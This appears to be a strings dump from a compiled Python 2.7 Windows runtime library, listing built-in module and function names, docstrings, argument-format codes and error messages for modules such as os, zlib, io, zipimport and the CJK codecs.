truediv(a, b) -- Same as a / b when __future__.division is in effect.
truediv
__floordiv__
floordiv(a, b) -- Same as a // b.
floordiv
__div__
div(a, b) -- Same as a / b when __future__.division is not in effect.
__mul__
mul(a, b) -- Same as a * b.
__sub__
sub(a, b) -- Same as a - b.
__add__
add(a, b) -- Same as a + b.
__index__
index(a) -- Same as a.__index__()
is_not(a, b) -- Same as a is not b.
is_(a, b) -- Same as a is b.
isMappingType(a) -- Return True if a has a mapping type, False otherwise.
isMappingType
countOf(a, b) -- Return the number of times b occurs in a.
indexOf(a, b) -- Return the first index of b in a.
sequenceIncludes(a, b) -- Same as b in a (note reversed operands; deprecated).
__contains__
contains(a, b) -- Same as b in a (note reversed operands).
contains
truth(a) -- Return True if a is true, False otherwise.
isSequenceType(a) -- Return True if a has a sequence type, False otherwise.
isSequenceType
isNumberType(a) -- Return True if a has a numeric type, False otherwise.
isNumberType
isCallable(a) -- Same as callable(a).
isCallable
operator.isCallable() is not supported in 3.x. Use hasattr(obj, '__call__').
operator.sequenceIncludes() is not supported in 3.x. Use operator.contains().
op_add
op_sub
op_mul
op_div
op_floordiv
op_truediv
op_mod
op_lshift
op_rshift
op_and_
op_xor
op_or_
op_iadd
op_isub
op_imul
op_idiv
op_ifloordiv
op_itruediv
op_imod
op_ilshift
op_irshift
op_iand
op_ixor
op_ior
op_concat
Oi:op_repeat
op_iconcat
Oi:op_irepeat
op_contains
sequenceIncludes
indexOf
countOf
op_getitem
op_delitem
op_setitem
is_not
Onn:getslice
OnnO:setslice
Onn:delslice
OO:compare_digest
unsupported operand types(s) or combination of types: '%.100s' and '%.100s'
Buffer must be single dimension
itemgetter()
itemgetter
attrgetter()
attrgetter
attribute name must be a string
methodcaller needs at least one argument, the method name
methodcaller
operator
Returns the pickle magic to allow ST objects to be pickled.
_pickler
tuple2st
tuple2ast
st2list
st2tuple
sequence2st
Creates an ST object from a tree representation.
sequence2ast
Creates an ST object from a suite.
Determines if an ST object was created from a suite.
Determines if an ST object was created from an expression.
Creates an ST object from an expression.
compilest
Compiles an ST object into a code object.
compileast
Creates a list-tree representation of an ST.
ast2list
Creates a tuple-tree representation of an ST.
ast2tuple
sequence
filename
col_info
line_info
Intermediate representation of a Python parse tree.
parser.st
Returns size in memory, in bytes.
Creates a tuple-tree representation of this ST.
totuple
Creates a list-tree representation of this ST.
Determines if this ST object was created from a suite.
issuite
Determines if this ST object was created from an expression.
isexpr
Compile this ST object into a code object.
unrecognized parse tree node type
O!|OO:st2tuple
|OO:totuple
ast2tuple is removed in 3.x; use st2tuple
O!|OO:st2list
|OO:tolist
ast2list is removed in 3.x; use st2list
<syntax-tree>
O!|s:compilest
|s:compile
compileast is removed in 3.x; use compilest
O!:isexpr
:isexpr
O!:issuite
:issuite
s:expr
s:suite
O:sequence2st
sequence2st() requires a single sequence argument
parse tree does not use a valid start symbol
unspecified ST error occurred
tuple2ast is removed in 3.x; use tuple2st
Illegal node construct.
terminal nodes must have 2 or 3 entries
second item in terminal node must be a string, found %s
third item in terminal node must be an integer, found %s
unknown node type.
unsupported number of child nodes
Illegal syntax-tree; cannot start with terminal symbol.
Illegal component tuple.
Expected node type %d, got %d.
Illegal number of children for %s node.
Illegal terminal: expected "%s"
parameters
testlist
testlist1
testlist_safe
expected variable argument trailer for varargslist
illegal variable argument trailer for varargslist
varargslist missing child nodes
illegal formation for varargslist
list_iter
comp_iter
list_for
comp_for
list_if
comp_if
fplist
simple_stmt
small_stmt
illegal small_stmt child type
Unrecognized child node of small_stmt: %d.
compound_stmt
Illegal compound statement type: %d.
augassign
illegal augmented assignment operator
print_stmt
del_stmt
return
yield_stmt
import_as_name
illegal number of children for dotted_as_name
import_name
import
import_stmt
illegal import_stmt child type
Unrecognized child node of import_stmt: %d.
illegal global statement
global
illegal exec statement
assert
illegal assert statement
except
Illegal number of children for try/%s node.
finally
try/finally
try/except/finally
illegal operator '%s'
illegal comparison operator type
comp_op
unknown comparison operator
illegal number of nodes for 'power'
illegal list display atom
missing child nodes of listmaker
illegal trailing nodes for listmaker
missing child nodes of testlist_comp
illegal trailing nodes for testlist_comp
lambda
lambdef
old_lambdef
arglist
need '(', ')' for generator expression
illegal arglist specification (extra stuff on end)
illegal use of '*' in arglist
illegal use of '**' in arglist
illegal arglist specification
trailer
subscriptlist
invalid number of arguments for subscript node
subscript
sliceop
exprlist
illegal number of nodes for dictorsetmaker
illegal trailing nodes for dictorsetmaker
flow_stmt
illegal flow_stmt type
continue
unrecognized node type
could not validate expression tuple
VALIDATION FAILURE: report this to the maintainer!
Error Parsing encoding_decl
O!:_pickler
parser
parser.ParserError
ParserError
ASTType
STType
__copyright__
pickle
urandom
_isdir
_getfullpathname
tmpnam
tempnam
tmpfile
strerror
putenv
fdopen
closerange
waitpid
popen4
popen3
popen2
getpid
spawnve
spawnv
execve
unlink
system
stat_float_times
listdir
getcwd
statvfs_result
f_namemax
f_flag
f_favail
f_ffree
f_files
f_bavail
f_bfree
f_blocks
f_frsize
f_bsize
stat_result
time of last change
st_ctime
time of last modification
st_mtime
time of last access
st_atime
integer time of last change
integer time of last modification
integer time of last access
total size, in bytes
st_size
group ID of owner
st_gid
user ID of owner
st_uid
number of hard links
st_nlink
device
st_dev
st_ino
protection bits
st_mode
|i:stat_float_times
Ui:access
eti:access
U:chdir
s:chdir
Ui|:chmod
eti:chmod
getcwdu
U:listdir
FindFirstFileW
FindNextFileW
FindClose
et#:listdir
FindFirstFile
FindNextFile
U|:_getfullpathname
GetFullPathNameW
et#:_getfullpathname
GetFullPathName
U|i:mkdir
et|i:mkdir
OO:rename
rename
ss:rename
U:rmdir
s:rmdir
U:stat
et:stat
s:system
i:umask
U:remove
s:remove
UO|:utime
etO:utime
utime() arg 2 must be a tuple (atime, mtime)
i:_exit
etO:execv
execv() arg 2 must be a tuple or list
execv() arg 2 must not be empty
execv() arg 2 must contain only strings
etOO:execve
execve() arg 2 must be a tuple or list
execve() arg 3 must be a mapping object
et;execve() arg 2 must contain only strings
values
execve(): env.keys() or env.values() is not a list
s;execve() arg 3 contains a non-string key
s;execve() arg 3 contains a non-string value
ietO:spawnv
spawnv() arg 2 must be a tuple or list
spawnv() arg 2 must contain only strings
ietOO:spawnve
spawnve() arg 2 must be a tuple or list
spawnve() arg 3 must be a mapping object
et;spawnve() arg 2 must contain only strings
spawnve(): env.keys() or env.values() is not a list
s;spawnve() arg 3 contains a non-string key
s;spawnve() arg 3 contains a non-string value
kk:kill
U|:_isdir
et:_isdir
s|si:popen
popen() arg 2 must be 'r' or 'w'
popen() arg 3 must be -1
s|si:popen2
popen2() arg 2 must be 't' or 'b'
popen2() arg 3 must be -1
s|si:popen3
popen3() arg 2 must be 't' or 'b'
popen3() arg 3 must be -1
s|si:popen4
popen4() arg 2 must be 't' or 'b'
popen4() arg 3 must be -1
w9xpopen.exe
COMSPEC
command.com
%s%s%s
Can not locate '%s' which is needed for popen to work with your shell or platform.
"%s" %s%s%s
Cannot locate a COMSPEC environment variable to use as the shell
CreateProcess
CreatePipe
DuplicateHandle
CloseHandle
ii:waitpid
U:lstat
et:lstat
Ui|i:mkdir
i:close
ii:closerange
ii:dup2
iOi:lseek
ii:read
is*:write
i:fstat
<fdopen>
i:isatty
ss:putenv
the environment variable is longer than %u bytes
i:strerror
strerror() argument out of range
|zz:tempnam
tempnam is a potential security risk to your program
tempnam has been removed in 3.x; use the tempfile module
tmpfile has been removed in 3.x; use the tempfile module
<tmpfile>
tmpnam is a potential security risk to your program
tmpnam has been removed in 3.x; use the tempfile module
unexpected NULL from tmpnam
abort() called from Python code didn't abort!
U|s:startfile
startfile
et|s:startfile
n:urandom
negative argument not allowed
TMP_MAX
O_RDONLY
O_WRONLY
O_RDWR
O_APPEND
O_CREAT
O_EXCL
O_TRUNC
O_BINARY
O_TEXT
O_NOINHERIT
O_SHORT_LIVED
O_TEMPORARY
O_RANDOM
O_SEQUENTIAL
P_WAIT
P_NOWAIT
P_OVERLAY
P_NOWAITO
P_DETACH
environ
nt.stat_result
nt.statvfs_result
sha224
sha256
_sha256.sha256
_sha256.sha224
SHA256
SHA224
_sha256
sha384
sha512
_sha512.sha512
_sha512.sha384
SHA512
SHA384
_sha512
_sha.sha
blocksize
default_int_handler
set_wakeup_fd
getsignal
signal
iO:signal
invalid signal value
signal only works in main thread
signal number out of range
signal handler must be signal.SIG_IGN, signal.SIG_DFL, or a callable object
i:getsignal
i:set_wakeup_fd
set_wakeup_fd only works in main thread
invalid fd
SIG_DFL
SIG_IGN
SIGINT
SIGBREAK
SIGILL
SIGABRT
SIGFPE
SIGSEGV
SIGTERM
CTRL_C_EVENT
CTRL_BREAK_EVENT
translate
swapcase
splitfields
rstrip
maketrans
lstrip
joinfields
expandtabs
capitalize
strop functions are obsolete; use string methods
t#|z#n:split
empty separator
O|t#:join
first argument must be sequence of strings
input too long
first argument must be a sequence
t#t#|nn:find
t#t#|nn:rfind
s#|i:expandtabs
tabsize must be at least 1
result is too long
t#t#|nn:count
s|i:atoi
invalid base for atoi()
invalid literal for atoi(): %.200s
atoi() literal too large: %.200s
s|i:atol
invalid base for atol()
empty string for atol()
invalid literal for atol(): %.200s
s:atof
empty string for atof()
invalid literal for atof(): %.200s
t#t#:maketrans
maketrans arguments must have same length
St#|t#:translate
translation table must be 256 characters long
t#t#t#|n:replace
empty pattern string
whitespace
Return symbol and scope dictionaries used internally by compiler.
symtable
sss:symtable
single
symtable() arg 3 must be 'exec' or 'eval' or 'single'
_symtable
DEF_GLOBAL
DEF_LOCAL
DEF_PARAM
DEF_FREE
DEF_FREE_CLASS
DEF_IMPORT
DEF_BOUND
TYPE_FUNCTION
TYPE_CLASS
TYPE_MODULE
OPT_IMPORT_STAR
OPT_EXEC
OPT_BARE_EXEC
GLOBAL_EXPLICIT
GLOBAL_IMPLICIT
SCOPE_OFF
SCOPE_MASK
stack_size
_count
get_ident
interrupt_main
exit_thread
allocate
allocate_lock
start_new
Thread-local data
thread._local
_localdummy_destroyed
Thread-local dummy
_thread._localdummy
thread.lock
__exit__
__enter__
locked
locked_lock
release
release_lock
acquire
acquire_lock
|i:acquire
release unlocked lock
can't allocate lock
Couldn't get thread-state dictionary
Initialization arguments are not supported
thread.local.%p
'%.50s' object attribute '__dict__' is read-only
Unhandled exception in thread started by 
stderr
start_new_thread
first arg must be callable
2nd arg must be a tuple
optional 3rd arg must be a dictionary
can't start new thread
no current thread ident
|n:stack_size
size must be 0 or a positive value
size not valid: %zd bytes
setting stack size not supported
thread
thread.error
LockType
_local
mktime
localtime
gmtime
The time value as returned by gmtime(), localtime(), and strptime(), and
 accepted by asctime(), mktime() and strftime().  May be considered as a
 sequence of 9 integers.
 Note that several fields' values are not the same as those defined by
 the C language standard for struct tm.  For example, the value of the
 field tm_year is the actual year, not year - 1900.  See individual
 fields' descriptions for details.
time.struct_time
1 if summer time is in effect, 0 if not, and -1 if unknown
tm_isdst
day of year, range [1, 366]
tm_yday
day of week, range [0, 6], Monday is 0
tm_wday
seconds, range [0, 61])
tm_sec
minutes, range [0, 59]
tm_min
hours, range [0, 23]
tm_hour
day of month, range [1, 31]
tm_mday
month of year, range [1, 12]
tm_mon
year, for example, 1993
tm_year
timestamp out of range for platform time_t
d:sleep
|O:gmtime
|O:localtime
(iiiiiiiii)
accept2dyear
year >= 1900 required
year out of range
s|O:strftime
month out of range
day of month out of range
hour out of range
minute out of range
seconds out of range
day of week out of range
day of year out of range
aAbBcdHIjmMpSUwWxXyYzZ%
Invalid format string
_strptime_time
asctime
invalid time
unconvertible time
mktime argument out of range
timezone
altzone
daylight
PYTHONY2K
sleep length is too large
xxsubtype.spamdict
xxsubtype.spamlist
an int variable for demonstration purposes
staticmeth(*args, **kw)
staticmeth
classmeth(*args, **kw)
classmeth
setstate(state)
getstate() -> state
:getstate
i:setstate
xxsubtype
spamlist
spamdict
zipimport.zipimporter
_files
prefix
archive
is_package
get_filename
get_source
get_code
get_data
load_module
find_module
zipimporter()
s:zipimporter
archive path is empty
archive path too long
not a Zip file
<zipimporter object "%.300s%c%.150s">
<zipimporter object "%.300s">
path too long
s|O:zipimporter.find_module
s:zipimporter.load_module
__loader__
%s%c%s%s
__path__
import %s # loaded from Zip %s
s:zipimporter.get_filename
s:zipimporter.is_package
can't find module '%.200s'
s:zipimporter.get_data
s:zipimporter.get_code
s:zipimporter.get_source
__init__.py
Zip path name is too long
can't open Zip file: '%.200s'
can't read Zip file: %s
can't read Zip file: '%.200s'
not a Zip file: '%.200s'
siiiiiii
# zipimport: found %ld names in %s
decompress
available
UNAVAILABLE
# zipimport: zlib %s
slllllll
zipimport: can not open file %s
bad local file header in %s
zipimport: can't read data
can't decompress data; zlib not available
bad pyc data
# %s has bad magic
# %s has bad mtime
compiled module %.200s is not a code object
zipimport: no memory to allocate source buffer
# trying %s%c%s
zipimport
zipimport.ZipImportError
ZipImportError
zipimporter
_zip_directory_cache
zlib.Decompress
zlib.Compress
decompressobj
compressobj
adler32
compress
library version mismatch
incomplete or truncated stream
inconsistent stream state
invalid input data
Error %d %s
Error %d %s: %.200s
s#|i:compress
Can't allocate memory to compress data
Out of memory while compressing data
Bad compression level
while compressing data
while finishing compression
s#|in:decompress
Out of memory while decompressing data
while preparing to decompress data
while decompressing data
while finishing data decompression
|iiiii:compressobj
Can't allocate memory for compression object
Invalid initialization option
while creating compression object
|i:decompressobj
Can't allocate memory for decompression object
while creating decompression object
s#:compress
while compressing
s#|i:decompress
max_length must be greater than zero
while decompressing
|i:flush
from deflateEnd()
while flushing
Inconsistent stream state
while copying compression object
while copying decompression object
length must be greater than zero
from inflateEnd()
unused_data
unconsumed_tail
s#|I:adler32
s#|I:crc32
zlib.error
MAX_WBITS
DEFLATED
DEF_MEM_LEVEL
Z_BEST_SPEED
Z_BEST_COMPRESSION
Z_DEFAULT_COMPRESSION
Z_FILTERED
Z_HUFFMAN_ONLY
Z_DEFAULT_STRATEGY
Z_FINISH
Z_NO_FLUSH
Z_SYNC_FLUSH
Z_FULL_FLUSH
ZLIB_VERSION
<fd:%d>
unexpected end of file
internal error: inflate stream corrupt
compressed data error
requested length does not fit in int
out of room to push characters
internal error: deflate stream corrupt
invalid block type
invalid stored block lengths
too many length or distance symbols
invalid code lengths set
invalid bit length repeat
invalid code -- missing end-of-block
invalid literal/lengths set
invalid distances set
invalid literal/length code
invalid distance code
invalid distance too far back
incorrect header check
unknown compression method
invalid window size
unknown header flags set
header crc mismatch
incorrect data check
incorrect length check
incompatible version
buffer error
insufficient memory
data error
stream error
file error
stream end
need dictionary
gb18030
gb18030ext
gbcommon
gbkext
gb2312
getcodec
_multibytecodec
__create_codec
encoding name must be a string.
no such codec is supported.
multibytecodec.__map_*
__map_
_codecs_cn
big5hkscs_nonbmp
big5hkscs_bmp
big5hkscs
map data must be a Capsule.
__map_big5
_codecs_tw
_codecs_hk
iso2022_jp_ext
iso2022_jp_3
iso2022_jp_2004
iso2022_jp_2
iso2022_jp_1
iso2022_jp
iso2022_kr
__map_cp949
_codecs_kr
__map_ksx1001
__map_jisxcommon
_codecs_jp
__map_jisx0208
__map_jisx0212
__map_jisx0213_bmp
__map_jisx0213_1_bmp
__map_jisx0213_2_bmp
__map_jisx0213_emp
__map_jisx0213_1_emp
__map_jisx0213_2_emp
__map_jisx0213_pair
__map_gbcommon
__map_gb2312
_codecs_iso2022
shift_jisx0213
euc_jisx0213
euc_jis_2004
shift_jis_2004
euc_jp
shift_jis
cp932ext
jisx0213_pair
jisx0213_emp
jisx0213_2_emp
jisx0213_1_emp
jisx0213_bmp
jisx0213_2_bmp
jisx0213_1_bmp
jisxcommon
jisx0212
jisx0208
euc_kr
cp949ext
ksx1001
cp950ext
MultibyteStreamWriter
MultibyteStreamReader
MultibyteIncrementalDecoder
MultibyteIncrementalEncoder
MultibyteCodec
how to treat errors
stream
errors
ignore
errors must be a string
illegal multibyte sequence
incomplete multibyte sequence
internal codec error
unknown runtime error
encoding error handler must return (unicode, int) tuple
position %zd from error handler out of bounds
decoding error handler must return (unicode, int) tuple
O|z:encode
couldn't convert the object to unicode.
s*|z:decode
pending buffer overflow
O|i:encode
|s:IncrementalEncoder
codec is unexpected type
s*|i:decode
|s:IncrementalDecoder
stream function returned a non-string object
arg 1 must be an integer
O|s:StreamReader
arg must be a sequence object
O|s:StreamWriter
argument type invalid
can't initialize the _multibytecodec module
Exception raised when I/O would block on a non-blocking I/O stream
BlockingIOError
characters_written
OO|n:BlockingIOError
buffering
newline
closefd
O|sizzzi:open
invalid file: %s
invalid mode: '%s'
can't use U and writing mode at once
can't have text and binary mode at once
must have exactly one of read/write/append mode
binary mode doesn't take an encoding argument
binary mode doesn't take an errors argument
binary mode doesn't take a newline argument
invalid buffering size
can't have unbuffered text I/O
unknown mode: '%s'
cannot fit '%.200s' into an offset-sized integer
integer argument expected, got '%.200s'
DEFAULT_BUFFER_SIZE
UnsupportedOperation
s(OO){}
_IOBase
_RawIOBase
_BufferedIOBase
_TextIOBase
FileIO
BytesIO
BufferedReader
BufferedWriter
BufferedRWPair
BufferedRandom
TextIOWrapper
IncrementalNewlineDecoder
newlines
readable
readinto
seekable
writable
_io.BufferedRandom
_io.BufferedRWPair
_io.BufferedWriter
_io.BufferedReader
_io._BufferedIOBase
w*:readinto
read() should return bytes
detach
reentrant call inside %s
raw stream has been detached
I/O operation on uninitialized object
Raw stream returned invalid position %lld
buffer size must be strictly positive
can't allocate read lock
flush of closed file
|n:peek
|O&:read
read length must be positive or -1
read of closed file
n:read1
read length must be positive
readline of closed file
|O&:readline
O|i:seek
whence must be between 0 and 2, not %d
seek of closed file
|O:truncate
readline() should have returned a bytes object, not '%.200s'
<%s name=%s>
buffer_size
O|n:BufferedReader
raw readinto() returned invalid length %zd (should have been between 0 and %zd)
max_buffer_size is deprecated
max_buffer_size
O|nn:BufferedWriter
raw write() returned invalid length %zd (should have been between 0 and %zd)
write could not complete without blocking
write to closed file
OO|nn:BufferedRWPair
the BufferedRWPair object is being garbage-collected
O|nn:BufferedRandom
_io.BytesIO
True if the file is closed.
new buffer size too large
I/O operation on closed file.
|O:read
integer argument expected, got '%s'
|O:readline
|O:readlines
negative size value %zd
negative seek value %zd
invalid whence (%i, should be 0, 1 or 2)
%.200s.__setstate__ argument should be 3-tuple, got %.200s
second item of state must be an integer, not %.200s
position value cannot be negative
third item of state should be a dict, got a %.200s
initial_bytes
|O:BytesIO
_io.FileIO
String giving the file mode
True if the file descriptor will be closed by close().
readall
O|si:fileio
negative file descriptor
encoder failed to return bytes
Must have exactly one of read/write/append mode and at most one plus
invalid mode: %.200s
Cannot use closefd=False with file name
File not open for %s
reading
unbounded read returned more bytes than a Python string can hold 
writing
an integer is required
<_io.FileIO [closed]>
<_io.FileIO fd=%d mode='%s'>
<_io.FileIO name=%s mode='%s'>
_io._RawIOBase
_checkWritable
_checkReadable
_checkSeekable
_checkClosed
_io._IOBase
__IOBase_closed
File or stream is not seekable.
File or stream is not readable.
File or stream is not writable.
peek() should have returned a bytes object, not '%.200s'
read() should have returned a bytes object, not '%.200s'
|O&:readlines
O:writelines
_io.StringIO
line_buffering
readline() should have returned an str object, not '%.200s'
Negative size value %zd
Invalid whence (%i, should be 0, 1 or 2)
Negative seek position %zd
Can't do nonzero cur-relative seeks
unicode argument expected, got '%s'
initial_value
|Oz:__init__
illegal newline value: %s
initial_value must be unicode or None, not %.200s
(OOnN)
%.200s.__setstate__ argument should be 4-tuple, got %.200s
third item of state must be an integer, got %.200s
fourth item of state should be a dict, got a %.200s
_io.TextIOWrapper
_CHUNK_SIZE
utf-32
utf-32-le
utf-32-be
utf-16
utf-16-le
utf-16-be
iso8859-1
_io.IncrementalNewlineDecoder
_io._TextIOBase
decoder
Oi|O:IncrementalNewlineDecoder
decoder should return a string result, not '%.200s'
IncrementalNewlineDecoder.__init__ not called
O|i:IncrementalNewlineDecoder
((OK))
O|zzzi:fileio
locale
getpreferredencoding
could not determine default encoding
codecs.open()
underlying buffer has been detached
U:write
not writable
not readable
underlying read1() should have returned a bytes object, not '%.200s'
decoder getstate() should have returned a bytes object, not '%.200s'
((si))
underlying stream is not seekable
can't do nonzero cur-relative seeks
can't do nonzero end-relative seeks
invalid whence (%d, should be 0, 1 or 2)
negative seek position %s
underlying read() should have returned a bytes object, not '%.200s'
can't restore logical file position
telling position disabled by next() call
can't reconstruct logical file position
<_io.TextIOWrapper encoding=%s>
<_io.TextIOWrapper name=%s encoding=%s>
a strictly positive integer is required
__bases__
__subclasscheck__
__instancecheck__
null argument to internal routine
sequence index must be integer, not '%.200s'
'%.200s' object has no attribute '__getitem__'
'%.200s' object does not support item assignment
'%.200s' object does not support item deletion
expected a string or other character buffer object
expected a single-segment buffer object
expected a readable buffer object
expected a writeable buffer object
'%100s' does not have the buffer interface
both destination and source must have the buffer interface
destination is too small to receive data from source
Object is not writable.
format expects arg 2 to be string or unicode, not %.100s
object.__format__ with a non-empty format string is deprecated
Type %.100s doesn't define __format__
%.100s.__format__ must return string or unicode, not %.100s
unsupported operand type(s) for %.100s: '%.100s' and '%.100s'
unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s'
unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s'
divmod()
can't multiply sequence by non-int of type '%.200s'
** or pow()
bad operand type for unary -: '%.200s'
bad operand type for unary +: '%.200s'
bad operand type for unary ~: '%.200s'
bad operand type for abs(): '%.200s'
null byte in argument for int()
__index__ returned non-(int,long) (type %.200s)
'%.200s' object cannot be interpreted as an index
cannot fit '%.200s' into an index-sized integer
__int__
__int__ returned non-int (type %.200s)
__trunc__ returned non-Integral (type %.200s)
int() argument must be a string or a number, not '%.200s'
null byte in argument for long()
__long__ returned non-long (type %.200s)
long() argument must be a string or a number, not '%.200s'
__float__ returned non-float (type %.200s)
PyNumber_ToBase: index not int or long
object of type '%.200s' has no len()
'%.200s' object can't be concatenated
'%.200s' object can't be repeated
'%.200s' object does not support indexing
'%.200s' object is unsliceable
'%.200s' object doesn't support item deletion
'%.200s' object doesn't support slice assignment
'%.200s' object doesn't support slice deletion
argument of type '%.200s' is not iterable
count exceeds C integer size
index exceeds C integer size
sequence.index(x): x not in sequence
 while calling a Python object
NULL result without error in PyObject_Call
'%.200s' object is not callable
attribute of type '%.200s' is not callable
isinstance() arg 2 must be a class, type, or tuple of classes and types
 in __instancecheck__
issubclass() arg 1 must be a class
issubclass() arg 2 must be a class or tuple of classes
 in __subclasscheck__
'%.200s' object is not iterable
iter() returned non-iterator of type '%.100s'
|O:bool
single-segment buffer object expected
Py_TPFLAGS_HAVE_GETCHARBUFFER needed
%s buffer type not available
size must be zero or positive
offset must be zero or positive
buffer object expected
buffer() not supported in 3.x
buffer()
O|nn:buffer
read-only
read-write
<%s buffer ptr %p, size %zd at %p>
<%s buffer for %p, size %zd, offset %zd at %p>
writable buffers are not hashable
result too large
buffer index out of range
sequence index must be integer
buffer is read-only
buffer assignment index out of range
right operand must be a single byte
right operand length must match slice length
buffer indices must be integers
bytearray_iterator
bytearray
splitlines
rsplit
rpartition
rindex
partition
isupper
istitle
isspace
islower
isdigit
isalpha
isalnum
fromhex
center
__alloc__
string must be of size 1
an integer or string of size 1 is required
byte must be in range(0, 256)
accessing non-existent bytes segment
Type %.100s doesn't support the buffer API
Existing exports of data: object cannot be re-sized
Negative size passed to PyByteArray_FromStringAndSize
can't concat %.100s to %.100s
bytearray index out of range
bytearray indices must be integers
can't set bytearray slice from %.100s
bytearray indices must be integer
can assign only bytes, buffers, or iterables of ints in range(0, 256)
attempt to assign bytes of size %zd to extended slice of size %zd
|Oss:bytearray
encoding or errors without sequence argument
unicode argument without an encoding
encoding or errors without a string argument
negative count
bytearray(b
bytearray object is too large to make repr
Comparison between bytearray and string
deallocated bytearray object has exported buffers
|i:expandtabs
result too long
n|c:ljust
n|c:rjust
n|c:center
n:zfill
find/rfind/index/rindex
subsection not found
startswith
endswith
replace string is too long
replace bytes is too long
OO|n:replace
|On:split
|On:rsplit
cannot add more objects to bytearray
pop from empty bytearray
value not found in bytearray
|O:strip
|O:lstrip
|O:rstrip
|ss:decode
can only join an iterable
can only join an iterable of bytes (item %ld has type '%.100s')
|i:splitlines
s#:fromhex
non-hexadecimal number found in fromhex() arg at position %zd
latin-1
(O(Ns)N)
..\Objects\bytearrayobject.c
PyCapsule
PyCapsule_New called with null pointer
PyCapsule_GetPointer called with invalid PyCapsule object
PyCapsule_GetPointer called with incorrect name
PyCapsule_GetName called with invalid PyCapsule object
PyCapsule_GetDestructor called with invalid PyCapsule object
PyCapsule_GetContext called with invalid PyCapsule object
PyCapsule_SetPointer called with null pointer
PyCapsule_SetPointer called with invalid PyCapsule object
PyCapsule_SetName called with invalid PyCapsule object
PyCapsule_SetDestructor called with invalid PyCapsule object
PyCapsule_SetContext called with invalid PyCapsule object
PyCapsule_Import could not import module "%s"
PyCapsule_Import "%s" is not valid
<capsule object %s%s%s at %p>
cell_contents
..\Objects\cellobject.c
cell comparisons not supported in 3.x
<cell at %p: empty>
<cell at %p: %.80s object at %p>
Cell is empty
__self__
the instance to which a method is bound; None for unbound methods
im_self
__func__
the function (or other callable) implementing a method
im_func
the class associated with a method
im_class
instance
classobj
PyClass_New: name must be a string
PyClass_New: dict must be a dictionary
PyClass_New: bases must be a tuple
PyClass_New: base must be a class
__getattr__
__setattr__
__delattr__
..\Objects\classobject.c
class.__dict__ not accessible in restricted mode
class %.50s has no attribute '%.400s'
__dict__ must be a dictionary object
__bases__ must be a tuple object
__bases__ items must be classes
a __bases__ item causes an inheritance cycle
__name__ must be a string object
__name__ must not contain null bytes
classes are read-only in restricted mode
<class ?.%s at %p>
<class %s.%s at %p>
__init__
this constructor takes no arguments
__init__() should return None
O!|O:instance
instance() second arg must be dictionary or None
instance.__dict__ not accessible in restricted mode
%.50s instance has no attribute '%.400s'
__dict__ not accessible in restricted mode
__dict__ must be set to a dictionary
__class__ not accessible in restricted mode
__class__ must be set to a class
__repr__
<?.%s instance at %p>
<%s.%s instance at %p>
__str__
__hash__
__cmp__
unhashable instance
__hash__() should return an int
__len__
__len__() should return >= 0
__len__() should return an int
in 3.x, __getslice__ has been removed; use __getitem__
in 3.x, __delslice__ has been removed; use __delitem__
in 3.x, __setslice__ has been removed; use __setitem__
__coerce__
coercion should return None or 2-tuple
 after coercion
__ror__
__rand__
__rxor__
__rlshift__
__rrshift__
__radd__
__rsub__
__rmul__
__rdiv__
__rmod__
__rdivmod__
__divmod__
__rfloordiv__
__rtruediv__
comparison did not return an int
__nonzero__
__nonzero__ should return an int
__nonzero__ should return >= 0
object cannot be interpreted as an index
__long__
__float__
__oct__
__hex__
__rpow__
__iter__
__iter__ returned non-iterator of type '%.100s'
iteration over non-sequence
instance has no next() method
__call__
%.200s instance has no __call__ method
 in __call__
instancemethod
first argument must be callable
unbound methods must have non-NULL im_class
<unbound method %s.%s>
<bound method %s.%s of %s>
nothing
 instance
unbound method %s%s must be called with %s instance as first argument (got %s%s instead)
PyCObject
CObject type is not supported in 3.x. Please use capsule objects instead.
PyCObject_FromVoidPtrAndDesc called with null description
PyCObject_AsVoidPtr with non-C-object
PyCObject_AsVoidPtr called with null pointer
PyCObject_GetDesc with non-C-object
PyCObject_GetDesc called with null pointer
Invalid call to PyCObject_SetVoidPtr
co_lnotab
co_firstlineno
co_name
co_filename
co_cellvars
co_freevars
co_varnames
co_names
co_consts
co_code
co_flags
co_stacksize
co_nlocals
co_argcount
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz
non-string found in code slot
..\Objects\codeobject.c
name tuples must contain only strings, not '%.500s'
iiiiSO!O!O!SSiS|O!O!:code
code: argcount must not be negative
code: nlocals must not be negative
<code object %.100s at %p, file "%.300s", line %d>
code inequality comparisons not supported in 3.x
complex
the imaginary part of a complex number
the real part of a complex number
__getnewargs__
conjugate
__complex__
__complex__ should return a complex object
%s%s%sj%s
complex division by zero
classic complex division
complex divmod(), // and % are deprecated
complex remainder
complex divmod()
complex modulo
0.0 to a negative or complex power
complex exponentiation
absolute value too large
no ordering relation is defined for complex numbers
can't convert complex to int
can't convert complex to long
can't convert complex to float
__format__ requires str or unicode
complex() arg is not a string
complex() arg is a malformed string
|OO:complex
complex() can't take second arg if first is a string
complex() second arg can't be a string
complex() argument must be a string or a number
float(r) didn't return a float
property
deleter
setter
getter
method-wrapper
dictproxy
D.copy() -> a shallow copy of D
D.iteritems() -> an iterator over the (key, value) items of D
D.itervalues() -> an iterator over the values of D
D.iterkeys() -> an iterator over the keys of D
D.items() -> list of D's (key, value) pairs, as 2-tuples
D.values() -> list of D's values
D.keys() -> list of D's keys
D.get(k[,d]) -> D[k] if D.has_key(k), else d.  d defaults to None.
D.has_key(k) -> True if D has a key k, else False
has_key
wrapper_descriptor
getset_descriptor
member_descriptor
classmethod_descriptor
method_descriptor
__objclass__
<method '%s' of '%s' objects>
<member '%s' of '%s' objects>
<attribute '%s' of '%s' objects>
<slot wrapper '%s' of '%s' objects>
descriptor '%s' for '%s' objects doesn't apply to '%s' object
descriptor '%s' for type '%s' needs either an object or a type
descriptor '%s' for type '%s' needs a type, not a '%s' as arg 2
descriptor '%s' for type '%s' doesn't apply to type '%s'
attribute '%.300s' of '%.100s' objects is not readable
descriptor '%.200s' for '%.100s' objects doesn't apply to '%.100s' object
attribute '%.300s' of '%.100s' objects is not writable
descriptor '%.300s' of '%.100s' object needs an argument
descriptor '%.200s' requires a '%.100s' object but received a '%.100s'
descriptor '%s' of '%.100s' object needs an argument
descriptor '%s' requires a type but received a '%.100s'
descriptor '%s' requires a subtype of '%.100s' but received '%.100s
iterkeys
itervalues
dict_proxy(%s)
<method-wrapper '%s' of %s object at %p>
wrapper %s doesn't take keyword arguments
unreadable attribute
